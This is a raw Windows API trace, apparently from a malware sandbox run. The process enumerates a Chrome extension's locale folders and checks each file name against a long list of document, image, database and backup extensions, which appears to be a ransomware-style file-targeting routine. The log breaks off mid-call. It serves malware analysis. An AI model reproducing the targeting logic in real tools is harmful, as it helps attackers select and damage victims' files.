lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.283] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.283] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.283] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.283] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0056.283] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.283] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.283] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x416b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.284] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x416b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.284] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.284] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.284] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0056.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.285] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.285] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x41bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.285] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834dd0e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834df7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x41bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.285] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.285] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.285] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1 [0056.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0056.285] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.286] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x583f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.286] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ebb40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x583f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0056.286] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0056.286] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ee00d8 | out: hHeap=0x790000) returned 1 [0056.286] FindNextFileW (in: hFindFile=0x7cbd10, lpFindFileData=0x473df30 | out: lpFindFileData=0x473df30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr", cAlternateFileName="")) returned 1 [0056.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0057.189] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.192] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x473dcb4 | out: lpFindFileData=0x473dcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834f3070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5224, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.197] lstrlenW (lpString="messages.json") returned 13 [0057.197] lstrlenW (lpString=".1cd") returned 4 [0057.197] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0057.199] lstrlenW (lpString=".3ds") returned 4 [0057.199] lstrcmpiW (lpString1=".3ds", lpString2="json") returned -1 [0057.199] lstrlenW (lpString=".3fr") returned 4 [0057.200] lstrcmpiW (lpString1=".3fr", lpString2="json") returned -1 [0057.200] lstrlenW (lpString=".3g2") returned 4 [0057.201] lstrcmpiW (lpString1=".3g2", lpString2="json") returned -1 [0057.202] lstrlenW (lpString=".3gp") returned 4 [0057.202] lstrcmpiW (lpString1=".3gp", lpString2="json") returned -1 [0057.202] lstrlenW (lpString=".7z") returned 3 [0057.204] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0057.204] lstrlenW (lpString=".accda") returned 6 [0057.206] lstrcmpiW (lpString1=".accda", lpString2="s.json") returned -1 [0057.206] lstrlenW (lpString=".accdb") returned 6 [0057.206] lstrcmpiW (lpString1=".accdb", lpString2="s.json") returned -1 [0057.208] lstrlenW (lpString=".accdc") returned 6 [0057.208] lstrcmpiW (lpString1=".accdc", lpString2="s.json") returned -1 [0057.208] lstrlenW (lpString=".accde") returned 6 [0057.210] lstrcmpiW (lpString1=".accde", lpString2="s.json") returned -1 [0057.210] lstrlenW (lpString=".accdt") returned 6 [0057.210] lstrcmpiW (lpString1=".accdt", lpString2="s.json") returned -1 [0057.216] lstrlenW (lpString=".accdw") returned 6 [0057.216] lstrcmpiW (lpString1=".accdw", lpString2="s.json") returned -1 [0057.216] lstrlenW (lpString=".adb") returned 4 [0057.216] lstrcmpiW (lpString1=".adb", lpString2="json") returned -1 [0057.216] lstrlenW (lpString=".adp") returned 4 [0057.216] lstrcmpiW (lpString1=".adp", lpString2="json") returned -1 [0057.216] lstrlenW (lpString=".ai") returned 3 [0057.217] lstrcmpiW (lpString1=".ai", lpString2="son") returned -1 [0057.217] lstrlenW (lpString=".ai3") returned 4 [0057.217] lstrcmpiW (lpString1=".ai3", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".ai4") returned 4 [0057.217] lstrcmpiW (lpString1=".ai4", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".ai5") returned 4 [0057.217] lstrcmpiW (lpString1=".ai5", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".ai6") returned 4 [0057.217] lstrcmpiW (lpString1=".ai6", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".ai7") returned 4 [0057.217] lstrcmpiW (lpString1=".ai7", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".ai8") returned 4 [0057.217] lstrcmpiW (lpString1=".ai8", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".anim") returned 5 [0057.217] lstrcmpiW (lpString1=".anim", lpString2=".json") returned -1 [0057.217] lstrlenW (lpString=".arw") returned 4 [0057.217] lstrcmpiW (lpString1=".arw", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".as") returned 3 [0057.217] lstrcmpiW (lpString1=".as", lpString2="son") returned -1 [0057.217] lstrlenW (lpString=".asa") returned 4 [0057.217] lstrcmpiW (lpString1=".asa", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".asc") returned 4 [0057.217] lstrcmpiW (lpString1=".asc", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".ascx") returned 5 [0057.217] lstrcmpiW (lpString1=".ascx", lpString2=".json") returned -1 [0057.217] lstrlenW (lpString=".asm") returned 4 [0057.217] lstrcmpiW (lpString1=".asm", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".asmx") returned 5 [0057.217] lstrcmpiW (lpString1=".asmx", lpString2=".json") returned -1 [0057.217] lstrlenW (lpString=".asp") returned 4 [0057.217] lstrcmpiW (lpString1=".asp", lpString2="json") returned -1 [0057.217] lstrlenW (lpString=".aspx") returned 5 [0057.217] lstrcmpiW (lpString1=".aspx", lpString2=".json") returned -1 [0057.217] lstrlenW (lpString=".asr") returned 4 [0057.218] lstrcmpiW (lpString1=".asr", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".asx") returned 4 [0057.218] lstrcmpiW (lpString1=".asx", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".avi") returned 4 [0057.218] lstrcmpiW (lpString1=".avi", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".avs") returned 4 [0057.218] lstrcmpiW (lpString1=".avs", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".backup") returned 7 [0057.218] lstrcmpiW (lpString1=".backup", lpString2="es.json") returned -1 [0057.218] lstrlenW (lpString=".bak") returned 4 [0057.218] lstrcmpiW (lpString1=".bak", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".bay") returned 4 [0057.218] lstrcmpiW (lpString1=".bay", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".bd") returned 3 [0057.218] lstrcmpiW (lpString1=".bd", lpString2="son") returned -1 [0057.218] lstrlenW (lpString=".bin") returned 4 [0057.218] lstrcmpiW (lpString1=".bin", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".bmp") returned 4 [0057.218] lstrcmpiW (lpString1=".bmp", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".bz2") returned 4 [0057.218] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".c") returned 2 [0057.218] lstrcmpiW (lpString1=".c", lpString2="on") returned -1 [0057.218] lstrlenW (lpString=".cdr") returned 4 [0057.218] lstrcmpiW (lpString1=".cdr", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".cer") returned 4 [0057.218] lstrcmpiW (lpString1=".cer", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".cf") returned 3 [0057.218] lstrcmpiW (lpString1=".cf", lpString2="son") returned -1 [0057.218] lstrlenW (lpString=".cfc") returned 4 [0057.218] lstrcmpiW (lpString1=".cfc", lpString2="json") returned -1 [0057.218] lstrlenW (lpString=".cfm") returned 4 [0057.218] lstrcmpiW (lpString1=".cfm", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".cfml") returned 5 [0057.219] lstrcmpiW (lpString1=".cfml", lpString2=".json") returned -1 [0057.219] lstrlenW (lpString=".cfu") returned 4 [0057.219] lstrcmpiW (lpString1=".cfu", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".chm") returned 4 [0057.219] lstrcmpiW (lpString1=".chm", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".cin") returned 4 [0057.219] lstrcmpiW (lpString1=".cin", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".class") returned 6 [0057.219] lstrcmpiW (lpString1=".class", lpString2="s.json") returned -1 [0057.219] lstrlenW (lpString=".clx") returned 4 [0057.219] lstrcmpiW (lpString1=".clx", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".config") returned 7 [0057.219] lstrcmpiW (lpString1=".config", lpString2="es.json") returned -1 [0057.219] lstrlenW (lpString=".cpp") returned 4 [0057.219] lstrcmpiW (lpString1=".cpp", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".cr2") returned 4 [0057.219] lstrcmpiW (lpString1=".cr2", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".crt") returned 4 [0057.219] lstrcmpiW (lpString1=".crt", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".crw") returned 4 [0057.219] lstrcmpiW (lpString1=".crw", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".cs") returned 3 [0057.219] lstrcmpiW (lpString1=".cs", lpString2="son") returned -1 [0057.219] lstrlenW (lpString=".css") returned 4 [0057.219] lstrcmpiW (lpString1=".css", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".csv") returned 4 [0057.219] lstrcmpiW (lpString1=".csv", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".cub") returned 4 [0057.219] lstrcmpiW (lpString1=".cub", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".dae") returned 4 [0057.219] lstrcmpiW (lpString1=".dae", lpString2="json") returned -1 [0057.219] lstrlenW (lpString=".dat") returned 4 [0057.220] lstrcmpiW (lpString1=".dat", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".db") returned 3 [0057.220] lstrcmpiW (lpString1=".db", lpString2="son") returned -1 [0057.220] lstrlenW (lpString=".dbf") returned 4 [0057.220] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".dbx") returned 4 [0057.220] lstrcmpiW (lpString1=".dbx", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".dc3") returned 4 [0057.220] lstrcmpiW (lpString1=".dc3", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".dcm") returned 4 [0057.220] lstrcmpiW (lpString1=".dcm", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".dcr") returned 4 [0057.220] lstrcmpiW (lpString1=".dcr", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".der") returned 4 [0057.220] lstrcmpiW (lpString1=".der", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".dib") returned 4 [0057.220] lstrcmpiW (lpString1=".dib", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".dic") returned 4 [0057.220] lstrcmpiW (lpString1=".dic", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".dif") returned 4 [0057.220] lstrcmpiW (lpString1=".dif", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".divx") returned 5 [0057.220] lstrcmpiW (lpString1=".divx", lpString2=".json") returned -1 [0057.220] lstrlenW (lpString=".djvu") returned 5 [0057.220] lstrcmpiW (lpString1=".djvu", lpString2=".json") returned -1 [0057.220] lstrlenW (lpString=".dng") returned 4 [0057.220] lstrcmpiW (lpString1=".dng", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".doc") returned 4 [0057.220] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0057.220] lstrlenW (lpString=".docm") returned 5 [0057.220] lstrcmpiW (lpString1=".docm", lpString2=".json") returned -1 [0057.220] lstrlenW (lpString=".docx") returned 5 [0057.220] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0057.221] lstrlenW (lpString=".dot") returned 4 [0057.221] lstrcmpiW (lpString1=".dot", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".dotm") returned 5 [0057.221] lstrcmpiW (lpString1=".dotm", lpString2=".json") returned -1 [0057.221] lstrlenW (lpString=".dotx") returned 5 [0057.221] lstrcmpiW (lpString1=".dotx", lpString2=".json") returned -1 [0057.221] lstrlenW (lpString=".dpx") returned 4 [0057.221] lstrcmpiW (lpString1=".dpx", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".dqy") returned 4 [0057.221] lstrcmpiW (lpString1=".dqy", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".dsn") returned 4 [0057.221] lstrcmpiW (lpString1=".dsn", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".dt") returned 3 [0057.221] lstrcmpiW (lpString1=".dt", lpString2="son") returned -1 [0057.221] lstrlenW (lpString=".dtd") returned 4 [0057.221] lstrcmpiW (lpString1=".dtd", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".dwg") returned 4 [0057.221] lstrcmpiW (lpString1=".dwg", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".dwt") returned 4 [0057.221] lstrcmpiW (lpString1=".dwt", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".dx") returned 3 [0057.221] lstrcmpiW (lpString1=".dx", lpString2="son") returned -1 [0057.221] lstrlenW (lpString=".dxf") returned 4 [0057.221] lstrcmpiW (lpString1=".dxf", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".edml") returned 5 [0057.221] lstrcmpiW (lpString1=".edml", lpString2=".json") returned -1 [0057.221] lstrlenW (lpString=".efd") returned 4 [0057.221] lstrcmpiW (lpString1=".efd", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".elf") returned 4 [0057.221] lstrcmpiW (lpString1=".elf", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".emf") returned 4 [0057.221] lstrcmpiW (lpString1=".emf", lpString2="json") returned -1 [0057.221] lstrlenW (lpString=".emz") returned 4 [0057.222] lstrcmpiW (lpString1=".emz", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".epf") returned 4 [0057.222] lstrcmpiW (lpString1=".epf", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".eps") returned 4 [0057.222] lstrcmpiW (lpString1=".eps", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".epsf") returned 5 [0057.222] lstrcmpiW (lpString1=".epsf", lpString2=".json") returned -1 [0057.222] lstrlenW (lpString=".epsp") returned 5 [0057.222] lstrcmpiW (lpString1=".epsp", lpString2=".json") returned -1 [0057.222] lstrlenW (lpString=".erf") returned 4 [0057.222] lstrcmpiW (lpString1=".erf", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".exr") returned 4 [0057.222] lstrcmpiW (lpString1=".exr", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".f4v") returned 4 [0057.222] lstrcmpiW (lpString1=".f4v", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".fido") returned 5 [0057.222] lstrcmpiW (lpString1=".fido", lpString2=".json") returned -1 [0057.222] lstrlenW (lpString=".flm") returned 4 [0057.222] lstrcmpiW (lpString1=".flm", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".flv") returned 4 [0057.222] lstrcmpiW (lpString1=".flv", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".frm") returned 4 [0057.222] lstrcmpiW (lpString1=".frm", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".fxg") returned 4 [0057.222] lstrcmpiW (lpString1=".fxg", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".geo") returned 4 [0057.222] lstrcmpiW (lpString1=".geo", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".gif") returned 4 [0057.222] lstrcmpiW (lpString1=".gif", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".grs") returned 4 [0057.222] lstrcmpiW (lpString1=".grs", lpString2="json") returned -1 [0057.222] lstrlenW (lpString=".gz") returned 3 [0057.222] lstrcmpiW (lpString1=".gz", lpString2="son") returned -1 [0057.223] lstrlenW (lpString=".h") returned 2 [0057.223] lstrcmpiW (lpString1=".h", lpString2="on") returned -1 [0057.223] lstrlenW (lpString=".hdr") returned 4 [0057.223] lstrcmpiW (lpString1=".hdr", lpString2="json") returned -1 [0057.223] lstrlenW (lpString=".hpp") returned 4 [0057.223] lstrcmpiW 